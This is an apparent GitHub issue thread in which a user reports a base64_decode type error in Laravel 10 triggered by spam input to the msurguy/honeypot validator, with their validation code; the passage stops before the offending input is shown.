Are you facing this error in 5.1 or 5.3 too?

[themsaid]

Only 5.1 and 5.3 are supported at the moment, please report only if the issue exists in these versions.

I'm getting this error in Laravel 10, PHP 8.1.

base64_decode(): Argument #1 ($string) must be of type string, array given

/vendor/laravel/framework/src/Illuminate/Encryption/Encrypter.php in base64_decode at line 208

Happens in the Validator::make function when someone tries to hack me. I am using the msurguy/honeypot package to catch spam.

$spam_detected = Validator::make($request->all(), [
	 'my_name'   => 'honeypot',
	 'my_time'   => 'required|honeytime:5'
])->fails();

The user input for the 'my_time' value. The problem appears to be the JSON object literal syntax:
